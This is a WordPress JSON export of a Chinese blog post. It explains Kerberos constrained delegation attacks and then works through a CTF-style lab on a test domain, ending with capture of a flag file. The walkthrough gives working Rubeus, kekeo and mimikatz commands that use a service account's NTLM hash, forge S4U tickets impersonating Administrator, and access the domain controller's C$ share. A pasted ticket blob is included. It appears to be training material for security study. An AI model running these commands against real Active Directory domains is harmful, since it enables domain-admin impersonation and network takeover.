{"id":2790,"date":"2025-10-21T09:44:52","date_gmt":"2025-10-21T01:44:52","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2790"},"modified":"2025-10-21T09:50:41","modified_gmt":"2025-10-21T01:50:41","slug":"01-%e7%ba%a6%e6%9d%9f%e5%a7%94%e6%b4%be%e6%94%bb%e5%87%bb","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/10\/21\/01-%e7%ba%a6%e6%9d%9f%e5%a7%94%e6%b4%be%e6%94%bb%e5%87%bb\/","title":{"rendered":"01.\u7ea6\u675f\u59d4\u6d3e\u653b\u51fb"},"content":{"rendered":"

\u4e00\u3001\u653b\u51fb\u539f\u7406<\/h1>\n

1\u3001\u975e\u7ea6\u675f\u59d4\u6d3e<\/h2>\n

\u7528\u6237 A \u53bb\u8bbf\u95ee\u670d\u52a1B\uff0c\u670d\u52a1 B \u7684\u670d\u52a1\u8d26\u6237\u5f00\u542f\u4e86\u975e\u7ea6\u675f\u59d4\u6d3e\uff0c\u90a3\u4e48\u5f53\u7528\u6237 A \u8bbf\u95ee\u670d\u52a1 B \u7684\u65f6\u5019\u4f1a\u5c06\u7528\u6237 A \u7684 TGT \u53d1\u9001\u7ed9\u670d\u52a1 B \u5e76\u4fdd\u5b58\u8fdb\u5185\u5b58\uff0c\u670d\u52a1 B \u80fd\u591f\u5229\u7528\u7528\u6237 A \u7684\u8eab\u4efd\u53bb\u8bbf\u95ee\u7528\u6237 A \u80fd\u591f\u8bbf\u95ee\u7684\u4efb\u610f\u670d\u52a1\u3002<\/p>\n

2\u3001\u975e\u7ea6\u675f\u59d4\u6d3e\u653b\u51fb\u539f\u7406<\/h2>\n

\u975e\u7ea6\u675f\u59d4\u6d3e\u653b\u51fb\u7684\u672c\u8d28\u662f\u6ee5\u7528 \u201c\u670d\u52a1\u53ef\u5b58\u50a8\u7528\u6237 TGT \u5e76\u4ee3\u5176\u8bbf\u95ee\u4efb\u610f\u670d\u52a1\u201d \u7684\u4fe1\u4efb\u903b\u8f91\uff0c\u901a\u8fc7\u63a7\u5236\u59d4\u6d3e\u670d\u52a1\u8d26\u6237\u6355\u83b7 TGT\uff0c\u5b9e\u73b0\u8eab\u4efd\u4f2a\u9020\u548c\u6743\u9650\u63d0\u5347\u3002<\/p>\n

3\u3001\u7ea6\u675f\u59d4\u6d3e\u653b<\/h2>\n

\u7ea6\u675f\u59d4\u6d3e\uff08Constrained Delegation\uff09\u5373 Kerberos \u7684\u6269\u5c55\u534f\u8bae S4U2Proxy\uff0c\u670d\u52a1\u8d26\u53f7\u53ea\u80fd\u83b7\u53d6\u67d0\u7528\u6237\u7684 TGS \uff0c\u4ece\u800c\u53ea\u80fd\u6a21\u62df\u7528\u6237\u8bbf\u95ee\u7279\u5b9a\u7684\u670d\u52a1\uff0c\u8fd9\u4e5f\u76f8\u5bf9\u5e94\u975e\u7ea6\u675f\u59d4\u6d3e\u66f4\u5b89\u5168\u4e00\u4e9b\u3002<\/p>\n

4\u3001\u7ea6\u675f\u59d4\u6d3e\u653b\u653b\u51fb\u539f\u7406<\/h2>\n

\u5982\u679c\u6211\u4eec\u80fd\u83b7\u53d6\u5230\u5f00\u542f\u4e86\u7ea6\u675f\u59d4\u6d3e\u7684\u670d\u52a1\u7528\u6237\u7684\u660e\u6587\u5bc6\u7801\u6216\u8005NTLM Hash\uff0c\u6211\u4eec\u624d\u53ef\u4ee5\u4f2a\u9020S4U\u8bf7\u6c42\uff0c\u8fdb\u800c\u4f2a\u88c5\u6210\u670d\u52a1\u7528\u6237\uff0c\u4ee5\u4efb\u610f\u8d26\u6237\u7684\u6743\u9650\u6765\u7533\u8bf7\u8bbf\u95ee\u67d0\u670d\u52a1\u7684ST\u3002\u6bd4\u5982service1\u914d\u7f6e\u4e86\u5230DC\u7684\u7ea6\u675f\u59d4\u6d3e\uff0c\u5c31\u53ef\u4ee5\u5728service1\u4e0a\u8bbf\u95eeDC<\/p>\n

\u53c2\u8003\u6587\u7ae0\uff1ahttps:\/\/cloud.tencent.com\/developer\/article\/1899592<\/p>\n

\u4e8c\u3001\u5229\u7528\u5de5\u5177<\/h1>\n

1\u3001Rubeus<\/h2>\n

Rubeus \u7684\u9ed8\u8ba4\u6784\u5efa\u914d\u7f6e\u662f\u9488\u5bf9 .NET 3.5 \u7684\uff0c\u5728\u672a\u5b89\u88c5\u8be5\u7248\u672c\u7684\u7cfb\u7edf\u4e0a\u4f1a\u5931\u8d25\u3002\u82e5\u8981\u4ee5 Rubeus for .NET 4 \u6216 4.5 \u4e3a\u76ee\u6807\uff0c\u8bf7\u6253\u5f00 .sln \u89e3\u51b3\u65b9\u6848\uff0c\u8f6c\u5230\u00a0Rubeus\u9879\u76ee<\/strong>\u00a0->\u00a0Rubeus \u5c5e\u6027<\/strong>\uff0c\u5e76\u5c06\u201c\u76ee\u6807\u6846\u67b6\u201d\u66f4\u6539\u4e3a\u53e6\u4e00\u4e2a\u7248\u672c\uff0c\u7136\u540e\u8fdb\u884c\u7f16\u8bd1\u5373\u53ef\u3002
\n

\"Pasted<\/div><\/p>\n

\"Pasted<\/div><\/p>\n

1\u3001\u7528Rubeus.exe\u7533\u8bf7\u7528\u6237MSSQLSERVER\u7684TGT\u7968\u636e<\/p>\n

Rubeus.exe asktgt \/user:MSSQLSERVER$ \/rc4:b80972bb96e218609b29dfbd8f70c86b \/domain:xiaorang.lab \/dc:DC.xiaorang.lab \/nowrap > 1.txt\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
2\u3001\u6253\u5f001.txt\uff0c\u590d\u5236\u7968\u636e\u7684base64\u7f16\u7801
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\"Pasted<\/div><\/p>\n
3\u3001\u901a\u8fc7Rubeus\u7684S4U2Self\u534f\u8bae\u4ee3\u8868\u57df\u7ba1\u7406\u5458\u7533\u8bf7\u9488\u5bf9\u57df\u63a7LDAP\u670d\u52a1\u7684\u7968\u636e\u5e76\u6ce8\u5165\u5185\u5b58<\/strong><\/p>\n
Rubeus.exe s4u \/impersonateuser:Administrator \/msdsspn:CIFS\/DC.xiaorang.lab \/dc:DC.xiaorang.lab \/ptt \/ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2Uk620lEe7nwL1qraN4D\/ynEfj4ntRTosrsYx97y29sug8qUkqUFioIDhw7fFeXeV963xDFN\/UsMZsdBZPBA+bU9P1za0wASekR2IZsUj4hSau9k8VewIX02WoBAFadIZJmqU1eC+O1WmzaiaNOFVJnlqQTTjOVZA6OnwdkPc9ts5GbOXwO458tJ0I7fQA+2zvIEzMozOmZgkROZ2UeWmBMUHjZelFEQRTmWv5+1v7ge0T2qGYR0hZJmz4T90c86SV\/E50TUotBxdIrJB2CKz8HkZvLuohazJK76AVzSKkAwUmIrxRUmvvSlZj5h44CmCvJd6Dktn6PH2lYBlNSGcZ4ZZ9tRa8rzlZLjjxeSKuaOAS1a\/2SYyQMLi0qwgu75E8FbGqwD0ekQCMfeK+FkHtofckGAvYt+YoftPAO2d05BEALAkYM3BnUELM9WJYlV9LGAz5Uj5LgTqM4PRwp0yNpBvh8Qud2FQxs1FZuo2cV0TwGiX6U8BKAFbahqyzH8PAUKNRCeu8aZE\/gxdG5lxdXPMBuW+bwT2aN2XYMxwtcBRabMRdsXPmHIaYtWRs6RheZMO0U9PR31mkXabexiasOQ7s07P4XbZiSr6Cua+FjwEQvnti7+RvkHO8ULR2td7DQul6AqsuiFucT5CnvzcSWTYcFxgPWSfuhfip917g5RjQ35TaX9udfUKC80t3lSK+Hja4gkhqNHm7BRje2kRnEY2\/+K2ApM5s7liANWf4BHlDlu1EgoaGULGYw85AWm1nOkRCcch+m52sTt6q29HQ7I1glPpb4OMVTSq45nxEiR6QDnQd3RXHDBpAMqnoSy+rK+DAjpLdr6Wu1rt3n+Y7bLwTa6hkXA10IG0PPOMI\/B\/l8m5R+lRa\/awSgFiwPsa9uwYIyJinafdir52KMYfwZJn7nmAEYwGVxRCqE69dNAQua5mHkDbkEes1rnMrPlVZ0USMZjO9EFG9yoLsNcMMopERNTkmkCklQih45NXg8sBwoIanZ\/1UC905c0nei7\/Rvc1qLBMPKQfv5JG4dSS1IEK5lRpSKL0Mrnqz8RJp3AQuRML4xRTagz7iSBeMovZGpz3vrKo\/PtVozXHogdcB\/s1VGuDlz+BCTB8E2xn7dkNy1uI+r3H92O4o0Az0fK1p6CRO4VqI0oNNdTPk7vwe4OqTuSUguc0KAVU\/N1af2gL4Rvjde\/dBaXyhZy3cWguytcwdEAwKg\/BlXmMknfSLTzePowCJnxSMHHLkd5waYIzn5thlT2ye4lwbiHcZxqGI31yPfCve+MLL55M8bT2Ge6prBoTtg3aJLY5\/4LncajZRQqXWueFku83NfTiwcZK5OtNy09mCIvhF+8WgSTc57d5zf2bTRdxwUMne3VpqXv4Gn77cyvWUGNok\/5k2VaF9okMr7\/bYI7mvq\/4z2kLWHUB8oWudh+MncQrgvqBZrnHVgoE4k9obWwARV4ijgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBB+\/XNKOcI8U\/wMdLXZsE6GoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MTAxNjAxNTM1M1qmERgPMjAyNTEwMTYxMTUzNTNapxEYDzIwMjUxMDIzMDE1MzUzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
4\u3001\u83b7\u53d6flag<\/p>\n
type \\\\DC.xiaorang.lab\\C$\\Users\\Administrator\\flag\\flag04.txt\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
2\u3001kekeo<\/h2>\n
1\u3001\u7ea6\u675f\u59d4\u6d3e\u653b\u51fb\uff0c\u7528kekeo\u8bf7\u6c42\u8be5\u7528\u6237\u7684TGT\uff0c\u751f\u6210\u672c\u673a\u7968\u636e\u540d\u4e3aTGT_MSSQLSERVER$@XIAORANG.LAB_krbtgt~xiaorang.lab@XIAORANG.LAB.kirbi<\/code>
\n\u8fdb\u5165kekeo<\/p>\n
tgt::ask \/user:MSSQLSERVER$ \/domain:xiaorang.lab \/NTLM:b80972bb96e218609b29dfbd8f70c86b\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
2\u3001\u5229\u7528\u8be5\u7968\u636e\u751f\u6210\u4f2a\u9020administrator\u8eab\u4efd\u8bbf\u95eeDC\u7684LDAP\u7ea6\u675f\u59d4\u6d3e\u670d\u52a1\u7968\u636e\uff0c\u751f\u6210\u7968\u636e\u540d\u4e3aTGS_administrator@xiaorang.lab@XIAORANG.LAB_ldap~DC.xiaorang.lab@XIAORANG.LAB.kirbi<\/code><\/p>\n
tgs::s4u \/tgt:TGT_MSSQLSERVER$@XIAORANG.LAB_krbtgt~xiaorang.lab@XIAORANG.LAB.kirbi \/user:administrator@xiaorang.lab \/service:ldap\/DC.xiaorang.lab\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
3\u3001mimikatz\u5c06\u6b64\u7968\u636e\u5bfc\u5165\u672c\u673a\uff0c\u5bfc\u5165\u540e\u53ef\u4ee5\u8bbf\u95eeDC<\/p>\n
kerberos::ptt TGS_administrator@xiaorang.lab@XIAORANG.LAB_ldap~DC.xiaorang.lab@XIAORANG.LAB.kirbi\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
4\u3001\u8fde\u63a5\u57df\u63a7<\/p>\n
net use \\\\DC.xiaorang.lab\\C$\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
5\u3001\u67e5\u770b\u57df\u63a7C\u76d8\u4e0b\\Users\\Administrator<\/code>\u8def\u5f84\u7684\u6587\u4ef6\u7ed3\u6784<\/p>\n
dir \\\\DC.xiaorang.lab\\C$\\Users\\Administrator\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n
6\u3001\u83b7\u53d6flag\u6587\u4ef6\u5185\u5bb9<\/p>\n
type \\\\DC.xiaorang.lab\\C$\\Users\\Administrator\\flag\\flag04.txt\n<\/code><\/pre>\n
\"Pasted<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
\u4e00\u3001\u653b\u51fb\u539f\u7406 1\u3001\u975e\u7ea6\u675f\u59d4\u6d3e \u7528\u6237 A \u53bb\u8bbf\u95ee\u670d\u52a1B\uff0c\u670d\u52a1 B \u7684\u670d\u52a1\u8d26\u6237\u5f00\u542f\u4e86\u975e\u7ea6\u675f\u59d4\u6d3e\uff0c\u90a3\u4e48\u5f53\u7528\u6237 A \u8bbf […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,81],"tags":[82],"class_list":["post-2790","post","type-post","status-publish","format-standard","hentry","category-9","category-81","tag-82"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2790","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2790"}],"version-history":[{"count":2,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2790\/revisions"}],"predecessor-version":[{"id":2792,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2790\/revisions\/2792"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2790"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2790"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2790"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}